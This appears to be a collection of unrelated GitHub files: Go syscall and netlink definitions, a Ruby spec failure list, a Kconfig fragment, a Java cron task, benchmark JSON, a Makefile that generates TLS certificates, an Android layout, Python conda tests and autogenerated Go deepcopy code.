IFA_MULTICAST = 0x7
IFLA_UNSPEC = 0x0
IFLA_ADDRESS = 0x1
IFLA_BROADCAST = 0x2
IFLA_IFNAME = 0x3
IFLA_MTU = 0x4
IFLA_LINK = 0x5
IFLA_QDISC = 0x6
IFLA_STATS = 0x7
IFLA_COST = 0x8
IFLA_PRIORITY = 0x9
IFLA_MASTER = 0xa
IFLA_WIRELESS = 0xb
IFLA_PROTINFO = 0xc
IFLA_TXQLEN = 0xd
IFLA_MAP = 0xe
IFLA_WEIGHT = 0xf
IFLA_OPERSTATE = 0x10
IFLA_LINKMODE = 0x11
IFLA_LINKINFO = 0x12
IFLA_NET_NS_PID = 0x13
IFLA_IFALIAS = 0x14
IFLA_MAX = 0x2b
RT_SCOPE_UNIVERSE = 0x0
RT_SCOPE_SITE = 0xc8
RT_SCOPE_LINK = 0xfd
RT_SCOPE_HOST = 0xfe
RT_SCOPE_NOWHERE = 0xff
RT_TABLE_UNSPEC = 0x0
RT_TABLE_COMPAT = 0xfc
RT_TABLE_DEFAULT = 0xfd
RT_TABLE_MAIN = 0xfe
RT_TABLE_LOCAL = 0xff
RT_TABLE_MAX = 0xffffffff
RTA_UNSPEC = 0x0
RTA_DST = 0x1
RTA_SRC = 0x2
RTA_IIF = 0x3
RTA_OIF = 0x4
RTA_GATEWAY = 0x5
RTA_PRIORITY = 0x6
RTA_PREFSRC = 0x7
RTA_METRICS = 0x8
RTA_MULTIPATH = 0x9
RTA_FLOW = 0xb
RTA_CACHEINFO = 0xc
RTA_TABLE = 0xf
RTN_UNSPEC = 0x0
RTN_UNICAST = 0x1
RTN_LOCAL = 0x2
RTN_BROADCAST = 0x3
RTN_ANYCAST = 0x4
RTN_MULTICAST = 0x5
RTN_BLACKHOLE = 0x6
RTN_UNREACHABLE = 0x7
RTN_PROHIBIT = 0x8
RTN_THROW = 0x9
RTN_NAT = 0xa
RTN_XRESOLVE = 0xb
RTNLGRP_NONE = 0x0
RTNLGRP_LINK = 0x1
RTNLGRP_NOTIFY = 0x2
RTNLGRP_NEIGH = 0x3
RTNLGRP_TC = 0x4
RTNLGRP_IPV4_IFADDR = 0x5
RTNLGRP_IPV4_MROUTE = 0x6
RTNLGRP_IPV4_ROUTE = 0x7
RTNLGRP_IPV4_RULE = 0x8
RTNLGRP_IPV6_IFADDR = 0x9
RTNLGRP_IPV6_MROUTE = 0xa
RTNLGRP_IPV6_ROUTE = 0xb
RTNLGRP_IPV6_IFINFO = 0xc
RTNLGRP_IPV6_PREFIX = 0x12
RTNLGRP_IPV6_RULE = 0x13
RTNLGRP_ND_USEROPT = 0x14
SizeofNlMsghdr = 0x10
SizeofNlMsgerr = 0x14
SizeofRtGenmsg = 0x1
SizeofNlAttr = 0x4
SizeofRtAttr = 0x4
SizeofIfInfomsg = 0x10
SizeofIfAddrmsg = 0x8
SizeofRtMsg = 0xc
SizeofRtNexthop = 0x8
)
type NlMsghdr struct {
Len uint32
Type uint16
Flags uint16
Seq uint32
Pid uint32
}
type NlMsgerr struct {
Error int32
Msg NlMsghdr
}
type RtGenmsg struct {
Family uint8
}
type NlAttr struct {
Len uint16
Type uint16
}
type RtAttr struct {
Len uint16
Type uint16
}
type IfInfomsg struct {
Family uint8
X__ifi_pad uint8
Type uint16
Index int32
Flags uint32
Change uint32
}
type IfAddrmsg struct {
Family uint8
Prefixlen uint8
Flags uint8
Scope uint8
Index uint32
}
type RtMsg struct {
Family uint8
Dst_len uint8
Src_len uint8
Tos uint8
Table uint8
Protocol uint8
Scope uint8
Type uint8
Flags uint32
}
type RtNexthop struct {
Len uint16
Flags uint8
Hops uint8
Ifindex int32
}
const (
SizeofSockFilter = 0x8
SizeofSockFprog = 0x10
)
type SockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}
type SockFprog struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *SockFilter
}
type InotifyEvent struct {
Wd int32
Mask uint32
Cookie uint32
Len uint32
}
const SizeofInotifyEvent = 0x10
type PtraceRegs struct {
Regs [32]uint64
Lo uint64
Hi uint64
Epc uint64
Badvaddr uint64
Status uint64
Cause uint64
}
type FdSet struct {
Bits [16]int64
}
type Sysinfo_t struct {
Uptime int64
Loads [3]uint64
Totalram uint64
Freeram uint64
Sharedram uint64
Bufferram uint64
Totalswap uint64
Freeswap uint64
Procs uint16
Pad uint16
Pad_cgo_0 [4]byte
Totalhigh uint64
Freehigh uint64
Unit uint32
X_f [0]int8
Pad_cgo_1 [4]byte
}
type Utsname struct {
Sysname [65]int8
Nodename [65]int8
Release [65]int8
Version [65]int8
Machine [65]int8
Domainname [65]int8
}
type Ustat_t struct {
Tfree int32
Pad_cgo_0 [4]byte
Tinode uint64
Fname [6]int8
Fpack [6]int8
Pad_cgo_1 [4]byte
}
type EpollEvent struct {
Events uint32
Fd int32
Pad int32
}
const (
AT_FDCWD = -0x64
AT_REMOVEDIR = 0x200
AT_SYMLINK_FOLLOW = 0x400
AT_SYMLINK_NOFOLLOW = 0x100
)
type PollFd struct {
Fd int32
Events int16
Revents int16
}
const (
POLLIN = 0x1
POLLPRI = 0x2
POLLOUT = 0x4
POLLRDHUP = 0x2000
POLLERR = 0x8
POLLHUP = 0x10
POLLNVAL = 0x20
)
type Sigset_t struct {
X__val [16]uint64
}
const RNDGETENTCNT = 0x40045200
const PERF_IOC_FLAG_GROUP = 0x1
const _SC_PAGESIZE = 0x1e
type Termios struct {
Iflag uint32
Oflag uint32
Cflag uint32
Lflag uint32
Line uint8
Cc [23]uint8
Ispeed uint32
Ospeed uint32
}
type Winsize struct {
Row uint16
Col uint16
Xpixel uint16
Ypixel uint16
}
| {
"pile_set_name": "Github"
} |
fails:Enumerator#peek_values returns the next element in self
fails:Enumerator#peek_values does not advance the position of the current element
fails:Enumerator#peek_values can be called repeatedly without advancing the position of the current element
fails:Enumerator#peek_values works in concert with #rewind
fails:Enumerator#peek_values raises StopIteration if called on a finished enumerator
| {
"pile_set_name": "Github"
} |
if TARGET_M5373EVB
config SYS_CPU
default "mcf532x"
config SYS_BOARD
default "m5373evb"
config SYS_VENDOR
default "freescale"
config SYS_CONFIG_NAME
default "M5373EVB"
endif
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2012 eXo Platform SAS.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.crsh.cron;
import it.sauronsoftware.cron4j.Task;
import it.sauronsoftware.cron4j.TaskExecutionContext;
import org.crsh.shell.ShellFactory;
/** @author Benjamin Prato */
class CRaSHTask extends Task {
/** . */
final CRaSHTaskDef def;
/** . */
final CronPlugin plugin;
/** . */
final ShellFactory factory;
CRaSHTask(CronPlugin plugin, ShellFactory factory, CRaSHTaskDef def) {
this.plugin = plugin;
this.def = def;
this.factory = factory;
}
@Override
public void execute(TaskExecutionContext context) throws RuntimeException {
CRaSHTaskProcess process = new CRaSHTaskProcess(this);
process.run();
}
}
| {
"pile_set_name": "Github"
} |
{
"name": "EQUALS",
"date": "2020-09-07T07:49:06.739Z",
"version": null,
"results": [
{
"name": "Rambda",
"ops": 129156,
"margin": 0.25,
"percentSlower": 72.1
},
{
"name": "Ramda",
"ops": 93223,
"margin": 0.32,
"percentSlower": 79.87
},
{
"name": "Lodash",
"ops": 462994,
"margin": 1.18,
"percentSlower": 0
}
],
"fastest": {
"name": "Lodash",
"index": 2
},
"slowest": {
"name": "Ramda",
"index": 1
}
} | {
"pile_set_name": "Github"
} |
# Makefile for generating TLS certs for the Prometheus custom metrics API adapter
SHELL=bash
UNAME := $(shell uname)
PURPOSE:=metrics
SERVICE_NAME:=custom-metrics-apiserver
ALT_NAMES:="custom-metrics-apiserver.monitoring","custom-metrics-apiserver.monitoring.svc"
SECRET_FILE:=custom-metrics-api/cm-adapter-serving-certs.yaml
certs: gensecret rmcerts
.PHONY: gencerts
gencerts:
@echo Generating TLS certs
@docker pull cfssl/cfssl
@mkdir -p output
@touch output/apiserver.pem
@touch output/apiserver-key.pem
@openssl req -x509 -sha256 -new -nodes -days 365 -newkey rsa:2048 -keyout $(PURPOSE)-ca.key -out $(PURPOSE)-ca.crt -subj "/CN=ca"
@echo '{"signing":{"default":{"expiry":"43800h","usages":["signing","key encipherment","'$(PURPOSE)'"]}}}' > "$(PURPOSE)-ca-config.json"
@echo '{"CN":"'$(SERVICE_NAME)'","hosts":[$(ALT_NAMES)],"key":{"algo":"rsa","size":2048}}' | docker run -v ${HOME}:${HOME} -v ${PWD}/metrics-ca.key:/go/src/github.com/cloudflare/cfssl/metrics-ca.key -v ${PWD}/metrics-ca.crt:/go/src/github.com/cloudflare/cfssl/metrics-ca.crt -v ${PWD}/metrics-ca-config.json:/go/src/github.com/cloudflare/cfssl/metrics-ca-config.json -i cfssl/cfssl gencert -ca=metrics-ca.crt -ca-key=metrics-ca.key -config=metrics-ca-config.json - | docker run --entrypoint=cfssljson -v ${HOME}:${HOME} -v ${PWD}/output:/go/src/github.com/cloudflare/cfssl/output -i cfssl/cfssl -bare output/apiserver
.PHONY: gensecret
gensecret: gencerts
@echo Generating $(SECRET_FILE)
@echo "apiVersion: v1" > $(SECRET_FILE)
@echo "kind: Secret" >> $(SECRET_FILE)
@echo "metadata:" >> $(SECRET_FILE)
@echo " name: cm-adapter-serving-certs" >> $(SECRET_FILE)
@echo " namespace: monitoring" >> $(SECRET_FILE)
@echo "data:" >> $(SECRET_FILE)
ifeq ($(UNAME), Darwin)
@echo " serving.crt: $$(cat output/apiserver.pem | base64)" >> $(SECRET_FILE)
@echo " serving.key: $$(cat output/apiserver-key.pem | base64)" >> $(SECRET_FILE)
endif
ifeq ($(UNAME), Linux)
@echo " serving.crt: $$(cat output/apiserver.pem | base64 -w 0)" >> $(SECRET_FILE)
@echo " serving.key: $$(cat output/apiserver-key.pem | base64 -w 0)" >> $(SECRET_FILE)
endif
.PHONY: rmcerts
rmcerts:
@rm -f apiserver-key.pem apiserver.csr apiserver.pem
@rm -f metrics-ca-config.json metrics-ca.crt metrics-ca.key
.PHONY: deploy
deploy:
kubectl create -f ./custom-metrics-api
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
**
** Copyright 2013, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
** http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
-->
<View xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/activity_chooser_view_content"
android:layout_width="wrap_content"
android:layout_height="match_parent"
android:layout_gravity="center"
style="?attr/activityChooserViewStyle">
<FrameLayout
android:id="@+id/expand_activities_button"
android:layout_width="wrap_content"
android:layout_height="match_parent"
android:layout_gravity="center"
android:focusable="true"
android:addStatesFromChildren="true"
android:background="?attr/actionBarItemBackground">
<ImageView android:id="@+id/image"
android:layout_width="32dip"
android:layout_height="32dip"
android:layout_gravity="center"
android:layout_marginTop="2dip"
android:layout_marginBottom="2dip"
android:layout_marginLeft="12dip"
android:layout_marginRight="12dip"
android:scaleType="fitCenter"
android:adjustViewBounds="true" />
</FrameLayout>
<FrameLayout
android:id="@+id/default_activity_button"
android:layout_width="wrap_content"
android:layout_height="match_parent"
android:layout_gravity="center"
android:focusable="true"
android:addStatesFromChildren="true"
android:background="?attr/actionBarItemBackground">
<ImageView android:id="@+id/image"
android:layout_width="32dip"
android:layout_height="32dip"
android:layout_gravity="center"
android:layout_marginTop="2dip"
android:layout_marginBottom="2dip"
android:layout_marginLeft="12dip"
android:layout_marginRight="12dip"
android:scaleType="fitCenter"
android:adjustViewBounds="true" />
</FrameLayout>
</View>
| {
"pile_set_name": "Github"
} |
import os
import shutil
from tempfile import mkdtemp
from galaxy.tool_util.deps import (
conda_util,
DependencyManager
)
from galaxy.tool_util.deps.requirements import ToolRequirement
from galaxy.tool_util.deps.resolvers.conda import CondaDependencyResolver
from .util import external_dependency_management
@external_dependency_management
def test_conda_resolution():
base_path = mkdtemp()
try:
job_dir = os.path.join(base_path, "000")
dependency_manager = DependencyManager(base_path)
resolver = CondaDependencyResolver(
dependency_manager,
auto_init=True,
auto_install=True,
use_path_exec=False, # For the test ensure this is always a clean install
)
req = ToolRequirement(name="samtools", version=None, type="package")
dependency = resolver.resolve(req, job_directory=job_dir)
assert dependency.shell_commands() is not None
finally:
shutil.rmtree(base_path)
@external_dependency_management
def test_against_conda_prefix_regression():
"""Test that would fail if https://github.com/rtfd/readthedocs.org/issues/1902 regressed."""
base_path = mkdtemp(prefix='x' * 80) # a ridiculously long prefix
try:
job_dir = os.path.join(base_path, "000")
dependency_manager = DependencyManager(base_path)
resolver = CondaDependencyResolver(
dependency_manager,
auto_init=True,
auto_install=True,
use_path_exec=False, # For the test ensure this is always a clean install
)
conda_context = resolver.conda_context
assert len(list(conda_util.installed_conda_targets(conda_context))) == 0
req = ToolRequirement(name="samtools", version="0.1.16", type="package")
dependency = resolver.resolve(req, job_directory=job_dir)
assert dependency.shell_commands() is not None # install should not fail anymore
installed_targets = list(conda_util.installed_conda_targets(conda_context))
assert len(installed_targets) > 0
finally:
shutil.rmtree(base_path)
| {
"pile_set_name": "Github"
} |
// +build !ignore_autogenerated
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// This file was autogenerated by deepcopy-gen. Do not edit it manually!
package v1beta1
import (
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
conversion "k8s.io/apimachinery/pkg/conversion"
runtime "k8s.io/apimachinery/pkg/runtime"
reflect "reflect"
)
func init() {
SchemeBuilder.Register(RegisterDeepCopies)
}
// RegisterDeepCopies adds deep-copy functions to the given scheme. Public
// to allow building arbitrary schemes.
func RegisterDeepCopies(scheme *runtime.Scheme) error {
return scheme.AddGeneratedDeepCopyFuncs(
conversion.GeneratedDeepCopyFunc{Fn: DeepCopy_v1beta1_TokenReview, InType: reflect.TypeOf(&TokenReview{})},
conversion.GeneratedDeepCopyFunc{Fn: DeepCopy_v1beta1_TokenReviewSpec, InType: reflect.TypeOf(&TokenReviewSpec{})},
conversion.GeneratedDeepCopyFunc{Fn: DeepCopy_v1beta1_TokenReviewStatus, InType: reflect.TypeOf(&TokenReviewStatus{})},
conversion.GeneratedDeepCopyFunc{Fn: DeepCopy_v1beta1_UserInfo, InType: reflect.TypeOf(&UserInfo{})},
)
}
// DeepCopy_v1beta1_TokenReview is an autogenerated deepcopy function.
func DeepCopy_v1beta1_TokenReview(in interface{}, out interface{}, c *conversion.Cloner) error {
{
in := in.(*TokenReview)
out := out.(*TokenReview)
*out = *in
if newVal, err := c.DeepCopy(&in.ObjectMeta); err != nil {
return err
} else {
out.ObjectMeta = *newVal.(*v1.ObjectMeta)
}
if err := DeepCopy_v1beta1_TokenReviewStatus(&in.Status, &out.Status, c); err != nil {
return err
}
return nil
}
}
// DeepCopy_v1beta1_TokenReviewSpec is an autogenerated deepcopy function.
func DeepCopy_v1beta1_TokenReviewSpec(in interface{}, out interface{}, c *conversion.Cloner) error {
{
in := in.(*TokenReviewSpec)
out := out.(*TokenReviewSpec)
*out = *in
return nil
}
}
// DeepCopy_v1beta1_TokenReviewStatus is an autogenerated deepcopy function.
func DeepCopy_v1beta1_TokenReviewStatus(in interface{}, out interface{}, c *conversion.Cloner) error {
{
in := in.(*TokenReviewStatus)
out := out.(*TokenReviewStatus)
*out = *in
if err := DeepCopy_v1beta1_UserInfo(&in.User, &out.User, c); err != nil {
return err
}
return nil
}
}
// DeepCopy_v1beta1_UserInfo is an autogenerated deepcopy function.
func DeepCopy_v1beta1_UserInfo(in interface{}, out interface{}, c *conversion.Cloner) error {
{
in := in.(*UserInfo)
out := out.(*UserInfo)
*out = *in
if in.Groups != nil {
in, out := &in.Groups, &out.Groups
*out = make([]string, len(*in))
copy(*out, *in)
}
if in.Extra != nil {
in, out := &in.Extra, &out.Extra
*out = make(map[string]ExtraValue)
for key, val := range *in {
if newVal, err := c.DeepCopy(&val); err != nil {
return err
} else {
(*out)[key] = *newVal.(*ExtraValue)
}
}
}
return nil
}
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.